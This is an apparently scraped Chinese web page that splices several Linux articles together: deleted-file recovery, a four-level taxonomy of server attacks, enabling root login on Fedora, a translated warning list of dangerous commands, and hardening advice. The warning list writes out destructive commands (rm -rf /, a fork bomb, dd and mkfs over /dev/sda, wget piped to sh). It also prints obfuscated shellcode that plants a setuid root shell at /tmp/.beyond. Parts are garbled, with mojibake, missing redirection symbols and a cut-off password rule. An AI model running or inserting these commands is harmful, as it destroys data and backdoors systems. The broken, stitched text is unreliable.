首先,這是一個(gè)非常危險(xiǎn)的操作,執(zhí)行后Linux基本報(bào)廢。如下圖所示,把rm命令都刪除了。我是在虛擬機(jī)中做的實(shí)驗(yàn),真實(shí)機(jī)一定不要執(zhí)行此操作。
網(wǎng)站建設(shè)哪家好,找成都創(chuàng)新互聯(lián)公司!專注于網(wǎng)頁設(shè)計(jì)、網(wǎng)站建設(shè)、微信開發(fā)、小程序開發(fā)、集團(tuán)企業(yè)網(wǎng)站建設(shè)等服務(wù)項(xiàng)目。為回饋新老客戶創(chuàng)新互聯(lián)還提供了奉節(jié)免費(fèi)建站歡迎大家使用!
其次,在根目錄執(zhí)行rm * -rf的命令對Linux系統(tǒng)來說是毀滅性的。如果日常工作中,刪除了某個(gè)文件,可以通過下面的方法找回。以下方法不適用你問題中的情況。只是做為擴(kuò)展。
1. lsof
文件剛剛被刪除,想要恢復(fù),先嘗試lsof.
#lsof |grep data.file1
# cp /proc/xxx/xxx/xx ?/dir/data.file1
2.
如果lsof不能看到文件,那么就需要使用恢復(fù)軟件進(jìn)行恢復(fù)。
要做的第一件事是立刻卸載被誤刪除文件所在的分區(qū),或者重新以只讀方式掛載此分區(qū)。
umount ?/dev/part ? ?或 ? ?mount -o remount,ro /dev/part
刪除一個(gè)文件,就是將文件inode(inode 是操作系統(tǒng)尋找文件的目錄,起到索引作用)
節(jié)點(diǎn)中的扇區(qū)指針清除,同時(shí),釋放這些數(shù)據(jù)對應(yīng)的數(shù)據(jù)塊,
而真實(shí)的文件還存留在磁盤分區(qū)中。但是這些被刪除的文件不一定會一直存留在磁盤中,當(dāng)這些
釋放的數(shù)據(jù)塊被操作系統(tǒng)重新分配時(shí),這些被刪除的數(shù)據(jù)就會被覆蓋。因此要立刻卸載分區(qū)。
3. ext3grep
該工具只能用于ext3文件系統(tǒng),操作步驟不詳細(xì)介紹.
1 unmount /dev/part
2 ext3grep /dev/part --ls --inode 2 ? ? ? ?##列出可恢復(fù)文件信息
3ext3grep /dev/part --restore-inode N
4恢復(fù)到 RESTORED_FILES/
更多命令查看 ext3grep --help
4. extundelete
該工具可以恢復(fù)ext3,ext4. ?
1fuser -k /dev/part ? unmunt /dev/part
2extundelete --inode 2 ?/dev/part
3extundelete --restore-inode 13 /dev/part
4恢復(fù)到 RECOVERD_FILES/
5.note
1 對于空文件,不會進(jìn)行恢復(fù)
2 可以恢復(fù)mysql表, 由于myisam是單獨(dú)3個(gè)文件,恢復(fù)出來就能使用。
3 建議innodb,設(shè)置innodb_file_per_table 為 ON,這樣也就能恢復(fù)單表數(shù)據(jù)。
4 從上面可以看出,恢復(fù)工具這能恢復(fù)分區(qū),所以,建議為應(yīng)用軟件單獨(dú)劃區(qū)進(jìn)行安裝,
存放數(shù)據(jù)。
引:隨著Linux企業(yè)應(yīng)用的擴(kuò)展,有大量的網(wǎng)絡(luò)服務(wù)器使用Linux操作系統(tǒng)。Linux服務(wù)器的安全性能受到越來越多的關(guān)注,這里根據(jù)Linux服務(wù)器受到攻擊的深度以級別形式列出,并提出不同的解決方案。
隨著Linux企業(yè)應(yīng)用的擴(kuò)展,有大量的網(wǎng)絡(luò)服務(wù)器使用Linux操作系統(tǒng)。Linux服務(wù)器的安全性能受到越來越多的關(guān)注,這里根據(jù)Linux服務(wù)器受到攻擊的深度以級別形式列出,并提出不同的解決方案。
對Linux服務(wù)器攻擊的定義是:攻擊是一種旨在妨礙、損害、削弱、破壞Linux服務(wù)器安全的未授權(quán)行為。攻擊的范圍可以從服務(wù)拒絕直至完全危害和破壞Linux服務(wù)器。對Linux服務(wù)器攻擊有許多種類,本文從攻擊深度的角度說明,我們把攻擊分為四級。
攻擊級別一:服務(wù)拒絕攻擊(DoS)
由于DoS攻擊工具的泛濫,及所針對的協(xié)議層的缺陷短時(shí)無法改變的事實(shí),DoS也就成為了流傳最廣、最難防范的攻擊方式。
服務(wù)拒絕攻擊包括分布式拒絕服務(wù)攻擊、反射式分布拒絕服務(wù)攻擊、DNS分布拒絕服務(wù)攻擊、FTP攻擊等。大多數(shù)服務(wù)拒絕攻擊導(dǎo)致相對低級的危險(xiǎn),即便是那些可能導(dǎo)致系統(tǒng)重啟的攻擊也僅僅是暫時(shí)性的問題。這類攻擊在很大程度上不同于那些想獲取網(wǎng)絡(luò)控制的攻擊,一般不會對數(shù)據(jù)安全有影響,但是服務(wù)拒絕攻擊會持續(xù)很長一段時(shí)間,非常難纏。
到目前為止,沒有一個(gè)絕對的方法可以制止這類攻擊。但這并不表明我們就應(yīng)束手就擒,除了強(qiáng)調(diào)個(gè)人主機(jī)加強(qiáng)保護(hù)不被利用的重要性外,加強(qiáng)對服務(wù)器的管理是非常重要的一環(huán)。一定要安裝驗(yàn)證軟件和過濾功能,檢驗(yàn)該報(bào)文的源地址的真實(shí)地址。另外對于幾種服務(wù)拒絕可以采用以下措施:關(guān)閉不必要的服務(wù)、限制同時(shí)打開的Syn半連接數(shù)目、縮短Syn半連接的time out 時(shí)間、及時(shí)更新系統(tǒng)補(bǔ)丁。
攻擊級別二:本地用戶獲取了他們非授權(quán)的文件的讀寫權(quán)限
本地用戶是指在本地網(wǎng)絡(luò)的任一臺機(jī)器上有口令、因而在某一驅(qū)動(dòng)器上有一個(gè)目錄的用戶。本地用戶獲取到了他們非授權(quán)的文件的讀寫權(quán)限的問題是否構(gòu)成危險(xiǎn)很大程度上要看被訪問文件的關(guān)鍵性。任何本地用戶隨意訪問臨時(shí)文件目錄(/tmp)都具有危險(xiǎn)性,它能夠潛在地鋪設(shè)一條通向下一級別攻擊的路徑。
級別二的主要攻擊方法是:黑客誘騙合法用戶告知其機(jī)密信息或執(zhí)行任務(wù),有時(shí)黑客會假裝網(wǎng)絡(luò)管理人員向用戶發(fā)送郵件,要求用戶給他系統(tǒng)升級的密碼。
由本地用戶啟動(dòng)的攻擊幾乎都是從遠(yuǎn)程登錄開始。對于Linux服務(wù)器,最好的辦法是將所有shell賬號放置于一個(gè)單獨(dú)的機(jī)器上,也就是說,只在一臺或多臺分配有shell訪問的服務(wù)器上接受注冊。這可以使日志管理、訪問控制管理、釋放協(xié)議和其他潛在的安全問題管理更容易些。還應(yīng)該將存放用戶cgI的系統(tǒng)區(qū)分出來。這些機(jī)器應(yīng)該隔離在特定的網(wǎng)絡(luò)區(qū)段,也就是說,根據(jù)網(wǎng)絡(luò)的配置情況,它們應(yīng)該被路由器或網(wǎng)絡(luò)交換機(jī)包圍。其拓?fù)浣Y(jié)構(gòu)應(yīng)該確保硬件地址欺騙也不能超出這個(gè)區(qū)段。
攻擊級別三:遠(yuǎn)程用戶獲得特權(quán)文件的讀寫權(quán)限
第三級別的攻擊能做到的不只是核實(shí)特定文件是否存在,而且還能讀寫這些文件。造成這種情況的原因是:Linux服務(wù)器配置中出現(xiàn)這樣一些弱點(diǎn):即遠(yuǎn)程用戶無需有效賬號就可以在服務(wù)器上執(zhí)行有限數(shù)量的命令。
密碼攻擊法是第三級別中的主要攻擊法,損壞密碼是最常見的攻擊方法。密碼破解是用以描述在使用或不使用工具的情況下滲透網(wǎng)絡(luò)、系統(tǒng)或資源以解鎖用密碼保護(hù)的資源的一個(gè)術(shù)語。用戶常常忽略他們的密碼,密碼政策很難得到實(shí)施。黑客有多種工具可以擊敗技術(shù)和社會所保護(hù)的密碼。主要包括:字典攻擊(Dictionary attack)、混合攻擊(Hybrid attack)、蠻力攻擊(Brute force attack)。一旦黑客擁有了用戶的密碼,他就有很多用戶的特權(quán)。密碼猜想是指手工進(jìn)入普通密碼或通過編好程序的正本取得密碼。一些用戶選擇簡單的密碼—如生日、紀(jì)念日和配偶名字,卻并不遵循應(yīng)使用字母、數(shù)字混合使用的規(guī)則。對黑客來說要猜出一串8個(gè)字生日數(shù)據(jù)不用花多長時(shí)間。
防范第三級別的攻擊的最好的防衛(wèi)方法便是嚴(yán)格控制進(jìn)入特權(quán),即使用有效的密碼。
◆ 主要包括密碼應(yīng)當(dāng)遵循字母、數(shù)字、大小寫(因?yàn)長inux對大小寫是有區(qū)分)混合使用的規(guī)則。
◆ 使用象“#”或“%”或“"countbak"一詞,它后面添加“##”
攻擊級別四:遠(yuǎn)程用戶獲得根權(quán)限
第四攻擊級別是指那些決不應(yīng)該發(fā)生的事發(fā)生了,這是致命的攻擊。表示攻擊者擁有Linux服務(wù)器的根、超級用戶或管理員許可權(quán),可以讀、寫并執(zhí)行所有文件。換句話說,攻擊者具有對Linux服務(wù)器的全部控制權(quán),可以在任何時(shí)刻都能夠完全關(guān)閉甚至毀滅此網(wǎng)絡(luò)。
攻擊級別四主要攻擊形式是TCP/IP連續(xù)偷竊,被動(dòng)通道聽取和信息包攔截。TCP/IP連續(xù)偷竊,被動(dòng)通道聽取和信息包攔截,是為進(jìn)入網(wǎng)絡(luò)收集重要信息的方法,不像拒絕服務(wù)攻擊,這些方法有更多類似偷竊的性質(zhì),比較隱蔽不易被發(fā)現(xiàn)。一次成功的TCP/IP攻擊能讓黑客阻攔兩個(gè)團(tuán)體之間的交易,提供中間人襲擊的良好機(jī)會,然后黑客會在不被受害者注意的情況下控制一方或雙方的交易。通過被動(dòng)竊聽,黑客會操縱和登記信息,把文件送達(dá),也會從目標(biāo)系統(tǒng)上所有可通過的通道找到可通過的致命要害。黑客會尋找聯(lián)機(jī)和密碼的結(jié)合點(diǎn),認(rèn)出申請合法的通道。信息包攔截是指在目標(biāo)系統(tǒng)約束一個(gè)活躍的聽者程序以攔截和更改所有的或特別的信息的地址。信息可被改送到非法系統(tǒng)閱讀,然后不加改變地送回給黑客。
TCP/IP連續(xù)偷竊實(shí)際就是網(wǎng)絡(luò)嗅探,注意如果您確信有人接了嗅探器到自己的網(wǎng)絡(luò)上,可以去找一些進(jìn)行驗(yàn)證的工具。這種工具稱為時(shí)域反射計(jì)量器(Time Domain Reflectometer,TDR)。TDR對電磁波的傳播和變化進(jìn)行測量。將一個(gè)TDR連接到網(wǎng)絡(luò)上,能夠檢測到未授權(quán)的獲取網(wǎng)絡(luò)數(shù)據(jù)的設(shè)備。不過很多中小公司沒有這種價(jià)格昂貴的工具。
對于防范嗅探器的攻擊最好的方法是:
1、安全的拓?fù)浣Y(jié)構(gòu)。嗅探器只能在當(dāng)前網(wǎng)絡(luò)段上進(jìn)行數(shù)據(jù)捕獲。這就意味著,將網(wǎng)絡(luò)分段工作進(jìn)行得越細(xì),嗅探器能夠收集的信息就越少。
2、會話加密。不用特別地?fù)?dān)心數(shù)據(jù)被嗅探,而是要想辦法使得嗅探器不認(rèn)識嗅探到的數(shù)據(jù)。這種方法的優(yōu)點(diǎn)是明顯的:即使攻擊者嗅探到了數(shù)據(jù),這些數(shù)據(jù)對他也是沒有用的。
特別提示:應(yīng)對攻擊的反擊措施
對于超過第二級別的攻擊您就要特別注意了。因?yàn)樗鼈兛梢圆粩嗟奶嵘艏墑e,以滲透Linux服務(wù)器。此時(shí),我們可以采取的反擊措施有:
◆ 首先備份重要的企業(yè)關(guān)鍵數(shù)據(jù)。
◆ 改變系統(tǒng)中所有口令,通知用戶找系統(tǒng)管理員得到新口令。
◆ 隔離該網(wǎng)絡(luò)網(wǎng)段使攻擊行為僅出現(xiàn)在一個(gè)小范圍內(nèi)。
◆ 允許行為繼續(xù)進(jìn)行。如有可能,不要急于把攻擊者趕出系統(tǒng),為下一步作準(zhǔn)備。
◆ 記錄所有行為,收集證據(jù)。這些證據(jù)包括:系統(tǒng)登錄文件、應(yīng)用登錄文件、AAA(Authentication、Authorization、 Accounting,認(rèn)證、授權(quán)、計(jì)費(fèi))登錄文件,RADIUS(Remote Authentication Dial-In User Service) 登錄,網(wǎng)絡(luò)單元登錄(Network Element Logs)、防火墻登錄、HIDS(Host-base IDS,基于主機(jī)的入侵檢測系統(tǒng)) 事件、NIDS(網(wǎng)絡(luò)入侵檢測系統(tǒng))事件、磁盤驅(qū)動(dòng)器、隱含文件等。收集證據(jù)時(shí)要注意:在移動(dòng)或拆卸任何設(shè)備之前都要拍照;在調(diào)查中要遵循兩人法則,在信息收集中要至少有兩個(gè)人,以防止篡改信息;應(yīng)記錄所采取的所有步驟以及對配置設(shè)置的任何改變,要把這些記錄保存在安全的地方。檢查系統(tǒng)所有目錄的存取許可,檢測Permslist是否被修改過。
◆ 進(jìn)行各種嘗試(使用網(wǎng)絡(luò)的不同部分)以識別出攻擊源。
◆ 為了使用法律武器打擊犯罪行為,必須保留證據(jù),而形成證據(jù)需要時(shí)間。為了做到這一點(diǎn),必須忍受攻擊的沖擊(雖然可以制定一些安全措施來確保攻擊不損害網(wǎng)絡(luò))。對此情形,我們不但要采取一些法律手段,而且還要至少請一家有權(quán)威的安全公司協(xié)助阻止這種犯罪。這類操作的最重要特點(diǎn)就是取得犯罪的證據(jù)、并查找犯罪者的地址,提供所擁有的日志。對于所搜集到的證據(jù),應(yīng)進(jìn)行有效地保存。在開始時(shí)制作兩份,一個(gè)用于評估證據(jù),另一個(gè)用于法律驗(yàn)證。
◆ 找到系統(tǒng)漏洞后設(shè)法堵住漏洞,并進(jìn)行自我攻擊測試。
網(wǎng)絡(luò)安全已經(jīng)不僅僅是技術(shù)問題,而是一個(gè)社會問題。企業(yè)應(yīng)當(dāng)提高對網(wǎng)絡(luò)安全重視,如果一味地只依靠技術(shù)工具,那就會越來越被動(dòng);只有發(fā)揮社會和法律方面打擊網(wǎng)絡(luò)犯罪,才能更加有效。我國對于打擊網(wǎng)絡(luò)犯罪已經(jīng)有了明確的司法解釋,遺憾的是大多數(shù)企業(yè)只重視技術(shù)環(huán)節(jié)的作用而忽略法律、社會因素,這也是本文的寫作目的。
fedora12初始情況下禁止root登陸,這是為了安全性考慮。當(dāng)前也可以開啟.
切換到命令行模式下使用root登陸,然后修改文件
su -c 'gedit /etc/pam.d/gdm'
找到下面這行:
auth required pam_succeed_if.so user != root quiet
將這一行備注掉:
#auth required pam_succeed_if.so user != root quiet
再修改文件
edit /etc/pam.d/gdm-password
同樣地注釋掉"auth required pam_succeed_if.so user != root quiet"這一行
在GNOME之類的桌面環(huán)境中,root是不允許登陸的,如果想登陸root的話,可以進(jìn)入恢復(fù)模式,默認(rèn)登陸的就是root。
在GNOME下,如果想暫時(shí)的提權(quán)操作,Ubuntu下可以使用sudo命令,別的linux版本下也有相應(yīng)的提權(quán)命令。
不允許root登陸是為了系統(tǒng)安全考慮,不然一個(gè)操作不當(dāng),就會對系統(tǒng)造成毀滅性打擊。
Linux命令行佷有用、很高效,也很有趣,但有時(shí)候也很危險(xiǎn),尤其是在你不確定你自己在正在做什么時(shí)候。這篇文章并不打算引來你對Linux或linux命令行的憤怒。我們只是想讓你意識到在你運(yùn)行某些命令時(shí)應(yīng)該三思而后行。(譯注:當(dāng)然,以下命令通常都是在root權(quán)限下才能將愚蠢發(fā)揮到無可救藥;在普通用戶身份下,破壞的只是自己的一畝三分地。)
1. rm -rf命令
rm -rf命令是刪除文件夾及其內(nèi)容最快的方式之一。僅僅一丁點(diǎn)的敲錯(cuò)或無知都可能導(dǎo)致不可恢復(fù)的系統(tǒng)崩壞。下列是一些rm命令的選項(xiàng)。
rm 命令在Linux下通常用來刪除文件。
rm -r命令遞歸的刪除文件夾,甚至是空的文件夾。(譯注:個(gè)人認(rèn)為此處應(yīng)該是說錯(cuò)了,從常識看,應(yīng)該是“甚至是非空的文件夾”)
rm -f命令能不經(jīng)過詢問直接刪除‘只讀文件’。(譯注:Linux下刪除文件并不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫權(quán)限。所以,-f這個(gè)參數(shù)只是表示不必一個(gè)個(gè)刪除確認(rèn),而是一律悄悄刪除。另外,原始的rm命令其實(shí)也是沒有刪除提示的,只是一般的發(fā)行版都會將rm通過別名的方式增加-i參數(shù)來要求刪除確認(rèn),而-f則抑制了這個(gè)提示。)
rm -rf / :強(qiáng)制刪除根目錄下所有東東。(就是說刪除完畢后,什么也沒有了。。。)
rm -rf *: 強(qiáng)制刪除當(dāng)前目錄的所有文件。
rm -rf . :強(qiáng)制刪除當(dāng)前文件夾及其子文件夾。
從現(xiàn)在起,當(dāng)你要執(zhí)行rm -rf命令時(shí)請留心一點(diǎn)。我們可以在“.bashrc”文件對‘rm‘命令創(chuàng)建rm -i的別名,來預(yù)防用‘rm‘命令刪除文件時(shí)的事故,它會要求你確認(rèn)每一個(gè)刪除請求。(譯注:大多數(shù)發(fā)行版已經(jīng)這樣做了,如果還沒有,請這樣做,并在使用-f參數(shù)前一定考慮好你在做什么!譯者本人有著血淚的教訓(xùn)啊。)
2. :(){:|:};:命令
這就是個(gè)fork炸彈的實(shí)例。具體操作是通過定義一個(gè)名為‘:‘的函數(shù),它會調(diào)用自己兩次,一次在前臺另一次運(yùn)行在后臺。它會反復(fù)的執(zhí)行下去直到系統(tǒng)崩潰。
:(){:|:};:哦?你確認(rèn)你要試試么?千萬別在公司正式的服務(wù)器上實(shí)驗(yàn)啊~~
3.命令 /dev/sda
上列命令會將某個(gè)‘命令‘的輸出寫到塊設(shè)備/dev/sda中。該操作會將在塊設(shè)備中的所有數(shù)據(jù)塊替換為命令寫入的原始數(shù)據(jù),從而導(dǎo)致整個(gè)塊設(shè)備的數(shù)據(jù)丟失。
4. mv文件夾/dev/null
這個(gè)命令會移動(dòng)某個(gè)‘文件夾‘到/dev/null。在Linux中/dev/null或null設(shè)備是一個(gè)特殊的文件,所有寫入它的數(shù)據(jù)都會被清除,然后返回寫操作成功。(譯注:這就是黑洞啊。當(dāng)然,要說明的是,通過將文件夾移動(dòng)到黑洞,并不能阻止數(shù)據(jù)恢復(fù)軟件的救贖,所以,真正的徹底毀滅,需要采用專用的軟件或者手法來完成——我知道你肯定有些東西想刪除得干干凈凈的。)
# mv /home/user/* /dev/null上列命令會將User目錄所有內(nèi)容移動(dòng)到/dev/null,這意味著所有東西都被‘卷入’黑洞 (null)之中。
5. wget -O- | sh
上列命令會從一個(gè)(也許是)惡意源下載一個(gè)腳本并執(zhí)行。Wget命令會下載這個(gè)腳本,而sh會(無條件的)執(zhí)行下載下來的腳本。
注意:你應(yīng)該時(shí)刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯注:所以,你真的知道你在做什么嗎?當(dāng)遇到這種需要是,我的做法是,先wget下來,然后我去讀一讀其中到底寫了些什么,然后考慮是否執(zhí)行。)
6. mkfs.ext3 /dev/sda
上列命令會格式化塊設(shè)備‘sda’,你無疑知道在執(zhí)行上列命令后你的塊設(shè)備(硬盤驅(qū)動(dòng)器)會被格式化,嶄新的!沒有任何數(shù)據(jù),直接讓你的系統(tǒng)達(dá)到不可恢復(fù)的階段。(譯注:通常不會直接使用/dev/sda這樣的設(shè)備,除非是作為raw設(shè)備使用,一般都需要將sda分成類似sda1、sda2這樣的分區(qū)后才使用。當(dāng)然,無論你使用sda還是sda1,這樣對塊設(shè)備或分區(qū)進(jìn)行mkfs都是毀滅性的,上面的數(shù)據(jù)都會被蒸發(fā)了。)
7. file
上列命令常用來清空文件內(nèi)容(譯注:通常也用于記錄命令輸出。不過請?jiān)趫?zhí)行前,確認(rèn)輸出的文件是空的或者還不存在,否則原來的文件可真是恢復(fù)不了了——連數(shù)據(jù)恢復(fù)軟件都未必能幫助你了。另外,我想你可能真正想用的是“”,即累加新的輸出到文件,而不是刷新那個(gè)文件。)。如果用上列執(zhí)行時(shí)輸入錯(cuò)誤或無知的輸入類似“ xt.conf” 的命令會覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8. ^foo^bar
這個(gè)命令在我們十個(gè)鮮為人知的Linux命令- Part 3中描述過,用來編輯先前運(yùn)行的命令而無需重打整個(gè)命令。但當(dāng)用foobar命令時(shí)如果你沒有徹底檢查改變原始命令的風(fēng)險(xiǎn),這可能導(dǎo)致真正的麻煩。(譯注:事實(shí)上,這種小技巧是譯者認(rèn)為的,少數(shù)史前時(shí)代遺留下來的無用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會向塊設(shè)備sda寫入隨機(jī)的垃圾文件從而擦出數(shù)據(jù)。當(dāng)然!你的系統(tǒng)可能陷入混亂和不可恢復(fù)的狀態(tài)。(譯注:記得上面說過mv到黑洞并不能徹底刪除數(shù)據(jù)么?那么這個(gè)命令就是給了你一個(gè)徹底刪除的方法!當(dāng)然為了保險(xiǎn)起見,你可以覆寫多次。)
10.隱藏命令
下面的命令其實(shí)就是上面第一個(gè)命令(rm -rf)。這里的代碼是隱藏在十六進(jìn)制里的,一個(gè)無知的用戶可能就會被愚弄。在終端里運(yùn)行下面命令可能會擦除你的根分區(qū)。
這個(gè)命令表明通常真正的危險(xiǎn)是隱藏的,不會被輕易的檢測到。你必須時(shí)刻留心你在做什么結(jié)果會怎樣。不要編譯/運(yùn)行從未知來源的代碼。
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
=“euml;[1Agrave;PTZ?ìdh″
“yuml;yuml;yuml;yuml;hszlig;ETH;szlig;Ugrave;h?″
“szlig;h’szlig;Ograve;T^÷÷″
“V÷V÷V?Auml;tV″
“sVSTY°Iacute;€1″
“Agrave;@euml;ùèfrac12;yuml;yuml;yuml;/bi″
“n/sh-c″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;注意:不要在你的或你的同學(xué)或?qū)W校的電腦里的Linux終端或Shell執(zhí)行以上的任何一個(gè)命令。如果你想測試它們,請?jiān)谔摂M機(jī)上運(yùn)行。任何不和諧或數(shù)據(jù)丟失,由于運(yùn)行上面的命令導(dǎo)致你的系統(tǒng)崩潰,文章作者和Tecmint概不負(fù)責(zé)。(譯注:譯者和轉(zhuǎn)載網(wǎng)站也不負(fù)責(zé)~?。?/p>
安全是IT行業(yè)一個(gè)老生常談的話題了,處理好信息安全問題已變得刻不容緩。做為運(yùn)維人員,就必須了解一些安全運(yùn)維準(zhǔn)則,同時(shí),要保護(hù)自己所負(fù)責(zé)的業(yè)務(wù),首先要站在攻擊者的角度思考問題,修補(bǔ)任何潛在的威脅和漏洞。主要分五部分展開:賬戶和登錄安全賬戶安全是系統(tǒng)安全的第一道屏障,也是系統(tǒng)安全的核心,保障登錄賬戶的安全,在一定程度上可以提高服務(wù)器的安全級別,下面重點(diǎn)介紹下Linux系統(tǒng)登錄賬戶的安全設(shè)置方法。
1、刪除特殊的賬戶和賬戶組 Linux提供了各種不同角色的系統(tǒng)賬號,在系統(tǒng)安裝完成后,默認(rèn)會安裝很多不必要的用戶和用戶組,如果不需要某些用戶或者組,就要立即刪除它,因?yàn)橘~戶越多,系統(tǒng)就越不安全,很可能被黑客利用,進(jìn)而威脅到服務(wù)器的安全。
Linux系統(tǒng)中可以刪除的默認(rèn)用戶和組大致有如下這些:
可刪除的用戶,如adm,lp,sync,shutdown,halt,news,uucp,operator,games,gopher等。
可刪除的組,如adm,lp,news,uucp,games,dip,pppusers,popusers,slipusers等。
2、關(guān)閉系統(tǒng)不需要的服務(wù)Linux在安裝完成后,綁定了很多沒用的服務(wù),這些服務(wù)默認(rèn)都是自動(dòng)啟動(dòng)的。對于服務(wù)器來說,運(yùn)行的服務(wù)越多,系統(tǒng)就越不安全,越少服務(wù)在運(yùn)行,安全性就越好,因此關(guān)閉一些不需要的服務(wù),對系統(tǒng)安全有很大的幫助。具體哪些服務(wù)可以關(guān)閉,要根據(jù)服務(wù)器的用途而定,一般情況下,只要系統(tǒng)本身用不到的服務(wù)都認(rèn)為是不必要的服務(wù)。例如:某臺Linux服務(wù)器用于www應(yīng)用,那么除了httpd服務(wù)和系統(tǒng)運(yùn)行是必須的服務(wù)外,其他服務(wù)都可以關(guān)閉。下面這些服務(wù)一般情況下是不需要的,可以選擇關(guān)閉: anacron、auditd、autofs、avahi-daemon、avahi-dnsconfd、bluetooth、cpuspeed、firstboot、gpm、haldaemon、hidd、ip6tables、ipsec、isdn、lpd、mcstrans、messagebus、netfs、nfs、nfslock、nscd、pcscd portmap、readahead_early、restorecond、rpcgssd、rpcidmapd、rstatd、sendmail、setroubleshoot、yppasswdd ypserv
3、密碼安全策略在Linux下,遠(yuǎn)程登錄系統(tǒng)有兩種認(rèn)證方式:密碼認(rèn)證和密鑰認(rèn)證。密碼認(rèn)證方式是傳統(tǒng)的安全策略,對于密碼的設(shè)置,比較普遍的說法是:至少6個(gè)字符以上,密碼要包含數(shù)字、字母、下劃線、特殊符號等。設(shè)置一個(gè)相對復(fù)雜的密碼,對系統(tǒng)安全能起到一定的防護(hù)作用,但是也面臨一些其他問題,例如密碼暴力破解、密碼泄露、密碼丟失等,同時(shí)過于復(fù)雜的密碼對運(yùn)維工作也會造成一定的負(fù)擔(dān)。密鑰認(rèn)證是一種新型的認(rèn)證方式,公用密鑰存儲在遠(yuǎn)程服務(wù)器上,專用密鑰保存在本地,當(dāng)需要登錄系統(tǒng)時(shí),通過本地專用密鑰和遠(yuǎn)程服務(wù)器的公用密鑰進(jìn)行配對認(rèn)證,如果認(rèn)證成功,就成功登錄系統(tǒng)。這種認(rèn)證方式避免了被暴力破解的危險(xiǎn),同時(shí)只要保存在本地的專用密鑰不被黑客盜用,攻擊者一般無法通過密鑰認(rèn)證的方式進(jìn)入系統(tǒng)。因此,在Linux下推薦用密鑰認(rèn)證方式登錄系統(tǒng),這樣就可以拋棄密碼認(rèn)證登錄系統(tǒng)的弊端。Linux服務(wù)器一般通過SecureCRT、putty、Xshell之類的工具進(jìn)行遠(yuǎn)程維護(hù)和管理,密鑰認(rèn)證方式的實(shí)現(xiàn)就是借助于SecureCRT軟件和Linux系統(tǒng)中的SSH服務(wù)實(shí)現(xiàn)的。
4、合理使用su、sudo命令su命令:是一個(gè)切換用戶的工具,經(jīng)常用于將普通用戶切換到超級用戶下,當(dāng)然也可以從超級用戶切換到普通用戶。為了保證服務(wù)器的安全,幾乎所有服務(wù)器都禁止了超級用戶直接登錄系統(tǒng),而是通過普通用戶登錄系統(tǒng),然后再通過su命令切換到超級用戶下,執(zhí)行一些需要超級權(quán)限的工作。通過su命令能夠給系統(tǒng)管理帶來一定的方便,但是也存在不安全的因素,例如:系統(tǒng)有10個(gè)普通用戶,每個(gè)用戶都需要執(zhí)行一些有超級權(quán)限的操作,就必須把超級用戶的密碼交給這10個(gè)普通用戶,如果這10個(gè)用戶都有超級權(quán)限,通過超級權(quán)限可以做任何事,那么會在一定程度上對系統(tǒng)的安全造成了威協(xié)。因此su命令在很多人都需要參與的系統(tǒng)管理中,并不是最好的選擇,超級用戶密碼應(yīng)該掌握在少數(shù)人手中,此時(shí)sudo命令就派上用場了。sudo命令:允許系統(tǒng)管理員分配給普通用戶一些合理的“權(quán)利”,并且不需要普通用戶知道超級用戶密碼,就能讓他們執(zhí)行一些只有超級用戶或其他特許用戶才能完成的任務(wù)。比如:系統(tǒng)服務(wù)重啟、編輯系統(tǒng)配置文件等,通過這種方式不但能減少超級用戶登錄次數(shù)和管理時(shí)間,也提高了系統(tǒng)安全性。因此,sudo命令相對于權(quán)限無限制性的su來說,還是比較安全的,所以sudo也被稱為受限制的su,另外sudo也是需要事先進(jìn)行授權(quán)認(rèn)證的,所以也被稱為授權(quán)認(rèn)證的su。
sudo執(zhí)行命令的流程是:將當(dāng)前用戶切換到超級用戶下,或切換到指定的用戶下,然后以超級用戶或其指定切換到的用戶身份執(zhí)行命令,執(zhí)行完成后,直接退回到當(dāng)前用戶,而這一切的完成要通過sudo的配置文件/etc/sudoers來進(jìn)行授權(quán)。
sudo設(shè)計(jì)的宗旨是:賦予用戶盡可能少的權(quán)限但仍允許它們完成自己的工作,這種設(shè)計(jì)兼顧了安全性和易用性,因此,強(qiáng)烈推薦通過sudo來管理系統(tǒng)賬號的安全,只允許普通用戶登錄系統(tǒng),如果這些用戶需要特殊的權(quán)限,就通過配置/etc/sudoers來完成,這也是多用戶系統(tǒng)下賬號安全管理的基本方式。
5、刪減系統(tǒng)登錄歡迎信息 系統(tǒng)的一些歡迎信息或版本信息,雖然能給系統(tǒng)管理者帶來一定的方便,但是這些信息有時(shí)候可能被黑客利用,成為攻擊服務(wù)器的幫兇,為了保證系統(tǒng)的安全,可以修改或刪除某些系統(tǒng)文件,需要修改或刪除的文件有4個(gè),分別是:/etc/issue、/etc/issue.net、/etc/redhat-release和/etc/motd。/etc/issue和/etc/issue.net文件都記錄了操作系統(tǒng)的名稱和版本號,當(dāng)用戶通過本地終端或本地虛擬控制臺等登錄系統(tǒng)時(shí),/etc/issue的文件內(nèi)容就會顯示,當(dāng)用戶通過ssh或telnet等遠(yuǎn)程登錄系統(tǒng)時(shí),/etc/issue.net文件內(nèi)容就會在登錄后顯示。在默認(rèn)情況下/etc/issue.net文件的內(nèi)容是不會在ssh登錄后顯示的,要顯示這個(gè)信息可以修改/etc/ssh/sshd_config文件,在此文件中添加如下內(nèi)容即可:Banner /etc/issue.net其實(shí)這些登錄提示很明顯泄漏了系統(tǒng)信息,為了安全起見,建議將此文件中的內(nèi)容刪除或修改。/etc/redhat-release文件也記錄了操作系統(tǒng)的名稱和版本號,為了安全起見,可以將此文件中的內(nèi)容刪除/etc/motd文件是系統(tǒng)的公告信息。每次用戶登錄后,/etc/motd文件的內(nèi)容就會顯示在用戶的終端。通過這個(gè)文件系統(tǒng)管理員可以發(fā)布一些軟件或硬件的升級、系統(tǒng)維護(hù)等通告信息,但是此文件的最大作用就、是可以發(fā)布一些警告信息,當(dāng)黑客登錄系統(tǒng)后,會發(fā)現(xiàn)這些警告信息,進(jìn)而產(chǎn)生一些震懾作用??催^國外的一個(gè)報(bào)道,黑客入侵了一個(gè)服務(wù)器,而這個(gè)服務(wù)器卻給出了歡迎登錄的信息,因此法院不做任何裁決。
遠(yuǎn)程訪問和認(rèn)證安全
